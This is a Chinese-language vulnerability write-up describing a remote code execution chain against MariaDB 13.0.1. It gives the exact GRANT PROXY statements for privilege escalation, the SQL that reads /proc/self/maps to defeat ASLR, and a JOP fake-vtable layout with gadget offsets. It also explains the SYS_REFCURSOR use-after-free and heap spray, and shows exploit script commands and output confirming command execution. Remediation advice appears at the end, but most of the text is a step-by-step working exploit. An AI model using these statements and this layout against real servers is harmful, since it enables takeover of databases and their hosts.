漏洞标题**MariaDB 13.0.1 权限提升 SYS_REFCURSOR UAF 远程代码执行漏洞 **漏洞概述在 MariaDB 13.0.1-rc官方 Docker 镜像未修改中发现一条完整的远程代码执行攻击链。攻击者仅需一个低权限数据库账号USAGE 级别和 TCP 网络可达性即可通过纯 SQL 语句在服务器端以uid999(mysql)身份执行任意系统命令。攻击链由两个 0day 漏洞串联组成漏洞编号类型说明F-09权限提升GRANT PROXY ... IDENTIFIED VIA 绕过权限检查任意用户可劫持 root 账户F-05Use-After-FreeSYS_REFCURSOR游标数组重分配导致悬挂指针堆喷后控制虚函数调用两个漏洞均在2026-08-03 仍未修复上游sql/sp_cursor.{cc,h}在 13.0.1 tag 和 HEAD 之间零提交。影响版本MariaDB 13.0.1已验证F-09 权限提升所有已发布版本验证 13.0.1 至 10.6.27修复补丁dbd60d0ad8d(MDEV-40470) 仅在 dev 分支F-05 UAF影响包含SYS_REFCURSOR功能的所有版本漏洞严重性CVSS 3.1: 9.8 (Critical)— AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H攻击向量网络攻击复杂度低完全自动化Python 脚本一键利用权限要求低仅需 USAGE 权限的数据库账户用户交互无影响范围容器/主机系统命令执行利用前置条件攻击者需要满足以下条件才能成功利用此漏洞链必需条件全部满足才可触发 RCE条件说明默认/常见情况网络可达攻击者能建立到 MariaDB 3306 端口的 TCP 连接生产环境常见应用服务器 → 数据库有效数据库账户拥有任意一个 MariaDB 账户包括仅 USAGE 权限的最低权限账户多租户环境、共享数据库实例secure_file_priv NULL未设置允许LOAD DATA INFILE读取任意文件包括/proc/self/mapsMariaDB官方 Docker 镜像默认值部分发行版打包可能设为/var/lib/mysql-files或空字符串glibc 运行环境漏洞利用依赖 glibc 的 mmap 行为大块内存分配复用地址和堆分配器行为chunk 大小匹配MariaDB 官方 Linux 构建均基于 glibcx86_64 架构JOP 小工具偏移和call *0x100(%rax)等指令基于 x86_64绝大多数生产部署/proc** 文件系统可读**LOAD DATA INFILE /proc/self/maps依赖 Linux/proc伪文件系统泄露内存布局所有标准 Linux 环境。容器中需要未设置security_opt: no-new-privileges/proc未做特殊隔离max_allowed_packet** 可调大**需要SET GLOBAL max_allowed_packet 268435456256 MiB来容纳 128 MiB 用户变量。这要求攻击者持有SUPER权限……但 F-09 提权已将低权限用户提升为 root所以此条件自动满足F-09 提权后自动达成非必需但利于利用的条件条件说明默认/常见情况SYS_PTRACEcapability容器环境允许读取/proc/self/maps。Docker 中通常默认可用Docker 默认不限制容器内 mariadbd 为 PID 1exploit 执行system()后进程崩溃 → 容器自动退出但不影响命令已执行的事实官方镜像默认ASLR 开启实际上ASLR 开启反而是利用条件之一因为/proc/self/maps恰好能泄露随机化后的地址。如果 ASLR 关闭利用更简单固定地址Linux 默认开启攻击场景共享数据库实例云数据库服务中多个租户共享同一 MariaDB 实例低权限账户通过此漏洞逃逸到宿主系统应用服务器沦陷Web 应用 SQL 注入获取的低权限数据库账户进一步转化为服务器 RCE内网横向移动已进入内网的攻击者利用数据库服务器作为跳板执行命令容器逃逸辅助容器内以 mysql 身份执行命令后可进一步利用内核漏洞逃逸到宿主机不受影响的情况secure_file_priv已设置为特定目录或空字符串阻止/proc/self/maps读取 — 但攻击者可能通过其他侧信道泄露地址使用 musl libc 的构建如 Alpine Linux— mmap 和堆行为不同ARM/aarch64 架构 — JOP 小工具偏移不同MariaDB 10.5 以下版本SYS_REFCURSOR功能可能不存在或实现不同复现环境组件版本/配置宿主机macOS 15.7.4Docker28.1.1MariaDB 镜像mariadbsha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9mariadbd13.0.1-MariaDB-ubu2604低权限用户lowpriv/lowpriv仅 USAGE appdb.* 权限glibc容器内置Ubuntu 26.04Python3.13 mariadb 客户端复现步骤1. 启动实验环境cd~/data/github/mariadb-13-rce-labdockercompose up-ddocker-compose.yml:services:mariadb:image:mariadbsha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9container_name:mariadb-rce-labenvironment:MARIADB_ROOT_PASSWORD:labpassMARIADB_DATABASE:appdbMARIADB_USER:lowprivMARIADB_PASSWORD:lowprivports:-3307:3306cap_add:-SYS_PTRACEvolumes:-./setup.sql:/docker-entrypoint-initdb.d/setup.sql初始化 SQLsetup.sql— lowpriv 用户仅有最低权限GRANTUSAGEON*.*TOlowpriv%;GRANTALLONappdb.*TOlowpriv%;2. 运行 Pure-SQL 漏洞利用python3 exploit_pure_sql.py\--host127.0.0.1--port3307\--userlowpriv--passwordlowpriv\--commandid /tmp/pwned\--marker/tmp/pwned\--containermariadb-rce-lab3. 复现结果[*] MariaDB 13.0.1-rc RCE — PURE SQL variant (lowpriv account only) [*] Target: lowpriv127.0.0.1:3307 command: id /tmp/pwned [*] Step 1: F-09 GRANT PROXY privilege escalation (lowpriv - root) [] F-09 done — connecting as root with empty password [*] Step 2: creating spray128 / grow5 / uaf5 (F-05 UAF trigger) [] functions created [*] Step 3: reading /proc/self/maps from SQL (ASLR defeat) [] PIE base 0x5587b50bd000 [] libc base 0x7f4772c00000 [] D20x5587b58caa77 D10x5587b5eed75b system0x7f4772c5c560 [*] Step 4: allocating 128 MiB fake marker buffer [] fake region 0x774707c00000 V (fake vtable) 0x774707c01030 [*] Step 5: writing JOP layout via SQL (self-reference baked) ... [] slot stable: V 0x774707c01030 (self-reference consistent) [] reclaim payload ready (V0x774707c01030 at offset 0x20) [*] FIRING (CALL uaf5) [*] session died as expected after RCE: no sentinel within 10s; got: b [*] waiting for marker /tmp/pwned ... [] /tmp/pwned: uid999(mysql) gid999(mysql) groups999(mysql) [] [] RCE CONFIRMED (pure SQL, lowpriv account) [] /tmp/pwned内容确认命令以uid999(mysql)身份执行成功。漏洞利用链详细分析第一阶段F-09 权限提升任意用户 → DBA漏洞位置sql/sql_acl.cc中的GRANT PROXY处理逻辑利用语句GRANTPROXYONCURRENT_USER()TOroot%IDENTIFIED VIA;GRANTPROXYONCURRENT_USER()TOrootlocalhostIDENTIFIED VIA;原理LEX_USER::has_auth()方法在认证子句为空字符串时返回false这使得check_alter_user()权限检查被跳过但replace_user_table()仍会将空密码写入mysql.global_priv表替换 root 的原有密码结果一句 SQL任意已认证用户即可将 root 密码改为空获得完整 DBA 权限严重性影响所有已发布 MariaDB 版本。修复补丁dbd60d0ad8d, MDEV-40470仅存在于开发分支。第二阶段ASLR 绕过服务器端文件读取技术LOAD DATA INFILE读取/proc/self/mapsCREATETABLEappdb.maps_pre(lTEXT);LOADDATAINFILE/proc/self/mapsINTOTABLEappdb.maps_pre;原理MariaDB 默认镜像secure_file_priv为 NULL未设置允许读取任意文件/proc/self/maps直接泄露 mariadbd 进程的完整内存布局提取 PIE 基址mariadbd 可执行段和 libc 基址libc.so.6每次运行的 ASLR 基址不同但通过 SQL 实时获取实现真正的 ASLR 击败第三阶段JOP 链内存布局纯 SQL 方式技术128 MiB 用户变量分配 /proc/self/maps差分地址发现-- 标记缓冲区分配 128 MiB 并发现其地址SETfakeREPEAT(CHAR(0xDE),134217728);-- 重新读取 /proc/self/maps与之前差分-- 找到新增的 0x8001000 大小的匿名 rw-p 区域LOADDATAINFILE/proc/self/mapsINTOTABLEappdb.maps_post;地址发现与自引用解决分配 128 MiB 标记缓冲区 → glibc 分配专用 mmap 区域通过 SQL 端/proc/self/maps差分获取缓冲区地址重新分配缓冲区嵌入完整 JOP 布局含自引用指针V0xa8 V0x140glibc 释放旧块后复用相同 mmap 槽位 → 地址稳定JOP 假 vtable 布局位于缓冲区 V 处偏移 内容 用途 ───────────────────────────────────────────────────── V0x20 D2 (PIE0x80da77) result-prepare() 虚表槽 V0xa0 system() (libc0x5c560) JOP 目标函数 V0xa8 V0x140 rdi 命令字符串指针 V0x100 D1 (PIE0xe3075b) JOP 调度器 V0x140 sh -c id /tmp/pwned\0 执行的命令两个 JOP 小工具来自未修改的 mariadbd 二进制小工具偏移汇编指令用途D2PIE0x80da77call *0x100(%rax)栈对齐修正movapsD1PIE0xe3075bmov rdi,[rax0xa8]; call [rax0xa0]加载命令指针到 rdi调用 system()第四阶段F-05 SYS_REFCURSOR Use-After-Free漏洞位置sql/sp_cursor.cc—sp_cursor_array::get_cursor_by_ref()漏洞原理sp_cursor_array使用Dynamic_array存储游标对象每个 112 字节默认容量 16 个游标 → 底层存储 16×112 1792 字节get_cursor_by_ref()返回指向Dynamic_array内部存储的指针当游标的open()方法执行攻击者控制的 SQL打开更多游标数组增长触发my_reallocmy_realloc释放旧存储 → 调用者持有的指针变成悬挂指针堆喷回收heap spray128 个用户变量副本每个精确匹配 1784 字节精确适配 glibc 释放的 1792 字节 chunk假 vtable 指针 V 放置在偏移 0x20sp_cursor的result成员位置虚函数调用劫持Materialized_cursor::open() → result-prepare() → mov rax, [result] ; rax 攻击者控制的假 vtable 指针 V → call [rax 0x20] ; 调用 D2 小工具 (prepare 虚表槽)JOP 链执行流D2: call *0x100(%rax) ; rax 仍为 V, V0x100 D1 D1: mov rdi, [rax0xa8] ; rax V, V0xa8 V0x140 (命令字符串指针) call [rax0xa0] ; V0xa0 system() ; rdi sh -c id /tmp/pwned ; → system(sh -c id /tmp/pwned)服务器崩溃system() 返回后由于进程内存已损坏mariadbd 崩溃PID 1 退出 → 容器停止。这是预期行为。漏洞利用脚本说明两个利用脚本位于~/data/github/mariadb-13-rce-lab/脚本类型攻击条件exploit_pure_sql.py纯 SQL推荐低权限账号 TCPexploit.py宿主机辅助 PoCroot /proc/PID/mempure-SQL 变体的创新点传统方式exploit.py纯 SQL 替代方案docker inspect→ PID /proc/pid/mapsLOAD DATA INFILE /proc/self/maps/proc/pid/mem写入 JOP 链CONCAT/UNHEX在分配时嵌入SQL 端 maps 差分发现地址mmap 槽复用保持自引用有效docker exec ... echo CMD命令字符串直接嵌入 JOP 布局root 密码连接GRANT PROXY从低权限账号提权修复建议短期措施缓解**设置 **secure_file_priv为空字符串或安全目录阻止LOAD DATA INFILE /proc/self/mapsSETGLOBALsecure_file_priv/var/lib/mysql-files;**限制 **max_allowed_packet为合理值如 16M阻止超大用户变量分配SETGLOBALmax_allowed_packet16777216;**限制 **max_open_cursors降低游标数组重分配触发可能SETGLOBALmax_open_cursors10;禁用 SYS_PTRACE capability容器环境移除cap_add: SYS_PTRACE网络隔离MariaDB 端口仅监听内网不暴露到公网根本修复F-09 权限提升修复合入 MDEV-40470 补丁 (dbd60d0ad8d)确保GRANT PROXY ... IDENTIFIED VIA 时has_auth()正确触发权限检查建议在replace_user_table()前增加IDENTIFIED VIA 的特殊拒绝逻辑F-05 SYS_REFCURSOR UAF 修复修改sp_cursor_array::get_cursor_by_ref()返回索引而非原始指针或在open()期间锁定Dynamic_array防止重分配建议重构Dynamic_array使用稳定指针如std::deque或 index-based access纵深防御审计LOAD DATA INFILE对/proc、/sys、/dev等敏感路径的访问控制对用户变量大小增加硬限制与max_allowed_packet解耦参考链接https://github.com/MariaDB/server/releaseshttps://github.com/dinosn/mariadb-13-rce-lab